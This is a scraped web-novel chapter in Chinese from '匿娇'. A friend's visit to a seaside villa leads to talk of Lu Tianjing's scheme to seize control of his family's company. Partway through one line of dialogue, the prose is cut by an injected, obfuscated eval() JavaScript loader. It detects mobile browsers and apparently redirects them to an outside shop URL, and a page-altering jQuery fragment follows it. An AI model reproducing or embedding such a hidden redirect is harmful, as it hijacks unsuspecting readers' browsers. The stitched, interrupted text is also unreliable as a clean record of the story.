32. 藏娇
作品:《匿娇》 南雁舟昨晚睡眠很浅,但早上却又起得很早。
她正在客厅和两只猫玩,门铃声突然响起。
平时快递或外卖都是直接放门口的,南雁舟还是头一次听到别墅的门铃声。
按理说,这里应该没人过来的。
南雁舟想到一种可能——陆天景的父母。
她跑到二楼去敲陆天景的门。
“阿景!楼下有人敲门!”
敲了几声,没人应答。
门口的人似乎有些等得不耐烦,接连按了好几下门铃。
南雁舟心中不免有些慌乱,但她看了看陆天景房间的门,又看了看楼下的门。
她不能去开这个门。
现在装作没听到回房间去最好。
她刚下楼梯,陆天景从房间里出来。
“阿舟。”
陆天景喊住她。
南雁舟像是抓住救命稻草一般,转身跑到他身边,说:“阿景,楼下有人。”
陆天景刚睡醒,眼睛还没能适应阳光的刺眼。
他眯着眼,先把南雁舟抱住,凑到她脖子处吸了几口。
“阿景,楼下有人敲门。”南雁舟从他怀里挣脱,希望他意识到问题的严重性。
门外的人已经放弃按门铃了,敲门的力度一声比一声大。
甚至大喊了一声:“陆天景!”
南雁舟听到了。
好像不是陆天景的父母,是个年轻男子的声音。
她疑惑地看了眼陆天景。
陆天景之前说过,这个地方没人敢来。
陆天景从她身上起来,整理了下自己睡衣腰间的带子,瞥了眼楼下,没什么好气地说:“是宋星程,阿舟,你先去开门,我去换身衣服。”
南雁舟记得宋星程这个名字,是昨天见到的那个人。
他是陆天景的朋友。
她刚听话地去开门。
“站住。”陆天景喊她。
南雁舟回过头看他。
“你不要去开门,你先回房间换衣服。”
陆天景这时才发现南雁舟身上也穿着睡衣。
南雁舟问:“那楼下的人……”
如果从南雁舟刚开始听到门铃声开始算起的话,门外的人此时已经等了将近十几分钟了。
“让他等着。”陆天景看都没有看楼下,冷着张脸回房间去了。
南雁舟下楼时路过门口,她停在门口片刻,听着宋星程喊“陆天景”的声音,一声比一声大。
一声比一声生气。
她想要去开门的,但她还是听陆天景的话乖乖回去换衣服。
南雁舟衣服换得很快,她换好衣服从房间出来,见陆天景还没有出来,而宋星程还在门外“坚持不懈”地敲门。
她自己去开门了。
刚打开门,面对的就是宋星程的一阵咆哮:
“陆天景!你死里面儿了?!”
宋星程见开门的是南雁舟,怒气瞬间消失。
他有些不好意思的用手蹭了蹭鼻尖,又挠了下头,问:“陆天景不在家吗?”
南雁舟说了实话。
“他在换衣服,你先进来吧。”
“换衣服换得真是儿墨迹。”宋星程嘀咕了一句。
他笑着对南雁舟说:“我叫宋星程,是陆天景的朋友,昨儿咱们见过的。”
“我记得。”南雁舟让他坐下,问:“喝水还是果汁?”
“冰箱里有橘汁和西瓜汁,昨天刚榨的。”
“那橘汁儿吧,刚才喊得我嗓子都快冒烟儿了,渴死我了。”
“好。”
南雁舟去冰箱里拿橘汁,又去橱柜里拿杯子。
倒橘汁的过程中,她突然想到,宋星程现在还以为自己是陆天景的妹妹。
那个同父异母的妹妹。
但她刚才招待宋星程的行为,像是这个别墅的主人一般自然。
他是陆天景的朋友,他应该知道陆天景这个别墅没什么人来。
宋星程知道只有她和陆天景住在这个别墅里……
南雁舟把橘汁递给宋星程,心里想着怎么和宋星程解释。
宋星程一口喝完,顿时神清气爽。
他对南雁舟说:“陆天景没和你说我要来吗?昨儿晚上我特意跟他说过了。”
南雁舟摇摇头,说:“他没说。”
宋星程又低声嘀咕了一句,但南雁舟没听清他在说什么。
“要不我去催催他。”南雁舟指了指二楼。
宋星程摆摆手,说:“算了算了。”
他刚说完算了,陆天景就从房间里出来了。
陆天景换了件黑色短袖和黑色家居裤。
宋星程第一次见陆天景穿得这么休闲,他笑着打趣陆天景:“不是儿,陆天景,你是吃坏药了吗?”
陆天景白了他一眼。
南雁舟正疑惑宋星程为什么突然这么说,宋星程就转身和她调侃:“嫂子真的教导有方儿啊!我还是头一次见大少爷穿得这么休闲的。”
“嫂子”两个字让南雁舟有些不适应。
宋星程应该是知道了。
这下好了,她不用再绞尽脑汁想怎么和宋星程解释她作为陆天景的“妹妹”,为什么和陆天景住在一起是事情了。
南雁舟看了眼陆天景,应该是他和宋星程说的。
陆天景下楼后,第一件事就是打宋星程一拳。
“老子怎么穿要你管?”
宋星程笑得眼睛成了一条缝,说:“是是是,大少爷想怎么穿就怎么穿。”
陆天景不想搭理他,翘着二郎腿坐在沙发上。
宋星程问南雁舟:“嫂子知道为啥喊他大少爷吗?”
为什么?
因为陆天景有钱吗?
但能和陆天景做朋友的,应该都是有钱人家吧。
南雁舟笑着摇摇头。
她还真的不知道为什么在这么多有钱人里,只有陆天景一直被喊“大少爷。”
“因为陆天景有少爷脾气儿的,是要一直被宠着哄着的,你看看他现在这个坐姿儿,拽得很呐!”
宋星程啧啧了两声,“少爷就是要一直拽着的。”
陆天景把手边一个抱枕砸向宋星程。
“你给老子闭嘴。”
“是是是,少爷让闭嘴就闭嘴。”
宋星程笑得前仰后翻,南雁舟一度以为他要笑岔气,甚至窒息昏倒了。
陆天景白了宋星程一眼。
“恶心。”
南雁舟觉得陆天景这句话有些太重了,但宋星程不觉得,像是免疫了一般,反而上赶着坐到陆天景旁边,跟个小孩子一样。
“诶!就是要恶心,就是恶心你!”
南雁舟看着两人的互动实在太有意思,不禁笑出了声。
宋星程说他点了火锅食材,中午在家里吃火锅。
他在别墅里逛了一圈,看到了两只猫和满花园的桔梗花,调侃陆天景居然也有这么闲情逸致的一面。
得知这些都是南雁舟布置的后,宋星程偷偷跟陆天景说:“我说哥们儿,真爱上了啊?!”
虽说是句玩笑话,但陆天景低眉轻笑了一声。
他好像真爱上了。
宋星程来到陆天景的房间,南雁舟在客厅和猫玩。
坐在阳台,对面就是大海,视野宽阔,让人心旷神怡。
“真真儿的是个好地方。”宋星程给陆天景树了个大拇指,“要不儿说还是少爷有眼光呢?”
阳台上的桌子上还有半盒烟,陆天景拿着递给宋星程,“给。”
“戒了。”
陆天景挑了下眉,笑了一声,递烟的手伸回来,自己从里面拿出一根。
烟雾从他嘴里缓缓吐出,他背靠着阳台的栏杆,一如平常的慵懒随意。
“以前儿不知道你怎么就看中这块儿地方了,敢情是拿来金屋藏娇的。”虽然自己和陆天景是多年好友,但有时候宋星程也看不懂陆天景的一些行为。
当年陆天景非要拿高价买下这块地,又要在这荒郊野外的地方建别墅,多少人在背后议论纷纷,宋星程即使也万分好奇,但还是硬生生地憋住没问他。
毕竟,就算是朋友,也得有些边界感。
“金屋藏娇?”陆天景眉头挑了下,这个词他从来没想到过。
不过,仔细想想,他和南雁舟住在这里,还真的有点像金屋藏娇。
“那姑娘长得着实好看,也不丢你的人儿啊?有什么好藏着掖着?”宋星程问。
“我巴不得不藏着呢,她不让啊。”说起这个,陆天景就有些烦躁。
“懂了。”宋星程说。
“你又懂了?你懂什么?”
“这还用说,人家姑娘没看上你呗,嫌弃你丢人?”
陆天景轻笑一声,挺直了背,说:“天底下敢嫌弃老子的人还没出生呢。”
“她家里是做什么的?按理儿说这么漂亮的,圈儿子里早就传开了。”
“黎城鲁河镇听说过吗?”
“黎城?黎城是哪儿?”宋星程还真没听说过这个地方。
陆天景丢给他一个“懒得解释”的眼神。
宋星程对这个地方实在是好奇,自己拿起手机开始百度,给他吓了一大跳。
“村儿里的啊?!”
“怎么?”陆天景瞥了他一眼,“你看不起村里的?”
“没有没有。”宋星程连忙否认,“我只是好奇,你俩怎么认识的?”
“自己的事
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203211|197285||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都没理清楚,还要八卦别人的事。”陆天景说。
宋星程叹了口气,想到什么,脸上变得伤感起来,不再与他闲扯这些,问他:“陆氏的事儿,你是认真的?”
“不然呢?”
“会不会风险有点儿大了,就算你不掺和儿这事儿,那也是儿一辈子的荣华富贵啊!”
“我那两个叔叔可不想这样。”
“至少你亲爹在一天,他们不敢拿你怎么样的。”
“亲爹?”陆天景都不愿意想起自己还有个爹,“那就是个生物爹。”
“再不济还有薛家那边儿的啊。”
“靠谁都不管用,靠自己最管用。”
“行,兄弟支持你!”
宋星程想与陆天景碰拳,陆天景有些不情愿,笑着说:“都多大了?”
但他还是和宋星程碰拳。
“你这人就一点不好。”宋星程说:“嘴硬。”
还说别人都多大了,他自己平时的行为也幼稚得很。
陆天景没接他的话,问他:“你不是要吃火锅吗?怎么还没到?”
“我也好奇。”宋星程拿出手机,看到自己的外卖订单三十分钟前就到了。
“卧槽,怎么到了不按门铃?”
“我们家就这规矩,一律放门口,不按门铃。”
“我们家?”
“有意见?”
“没有。”宋星程说:“只是突然看到铁树开花儿,蛮震惊的。”
陆天景:……
-
吃饭时,宋星程和陆天景的谈话丝毫不避着南雁舟。
她这才知道,陈家破产入狱的事全是陆天景一手操办。
而陆天景的目的也非常直接——从陆氏影视公司入手,架空陆氏,成为陆氏集团实际控制人。
两人的谈话总是时不时地互相调侃一下,严肃认真的内容被他们以轻松的口吻说出。
在他们眼中,亏空两千万的项目也许只是买了一张未中奖的彩票。
但南雁舟看到了陆天景眼中的野心。
他要拿下陆氏,他要取代他的父亲。
她听出了他每句玩笑话里的辛酸,她也看到了这个圈子的残酷。
真的有人在利益面前,可以不顾自己的亲生骨肉。
宋星程说陆天景是燕城人,却不是在燕城长大的。
他的母亲薛宁与父亲陆丰城是家族联姻,陆家看上了薛家的势力,薛家看上了陆家的潜力,当年如果没有薛宁的嫁妆,陆丰城的公司也许会在那年宣告破产。
陆丰城一步步走来并不容易,他城府极深、善于伪善,而薛宁自小家庭优渥,她率性直爽、向往自由。
本来只要结婚就可以的,但谁也没想到,薛宁竟然会怀孕。
薛宁不愿受孩子束缚,哪怕这是自己的孩子。
薛宁的想法总是天马行空,一会儿要去湖城,一会儿又要去宋城。
她带着陆天景在全世界满地跑,陆天景读过的小学甚至有十几所,每次他刚适应这个学校,就又要转到其他学校。
直到陆天景要读高中了,薛宁终于意识到教育需要稳定,于是陆天景得以在宋城完整地念完了整个高中。
南雁舟听到陆天景的遭遇有些同情,她一直以为陆天景从小过得是那种养尊处优的生活,没想到竟然有些“颠沛流离”。
她插嘴问了一句:“为什么不待在燕城呢?”
宋星程说:“因为他妈不想让他和他爸在一起,又不能扔给别人,只能自己带着,但他妈又喜欢去各种地方,那就只能带着他去各种地方。”
陆天景笑着对南雁舟说:“所以不能老抱怨老子散漫,从小养成的习惯。”
他从小没人管,随性散漫惯了。
餐桌上被陆天景突然提到,南雁舟有些不好意思,只能埋头吃饭。
她和陆天景住在一起的这段时间,陆天景每次做事都没什么计划,想一出是一出,她每次都说让他改掉这个毛病。
宋星程喝了一大口啤酒,说:“要我说,你那老爹也忒儿不是东西了,从小就不管你,敢情是一直拿你当外人儿。”
因为陆丰城一直拿陆天景当外人,所以才不想让自己的亲生儿子继承自己的财产,反而想着让自己的兄弟继承。
陆天景说:“他要是拿我当外人也还好啊,他是拿我当薛家人。”
“他这是要卸磨杀驴啊!”
宋星程突然举杯,说:“兄弟我挺你!干他!”
“干!”陆天景与宋星程碰杯。
他的声音有些低沉,没宋星程的声音那么大。
南雁舟看着陆天景,他一点都不是外面新闻报道的那般纨绔子弟。
她也跟着举杯,对陆天景说:“干!”

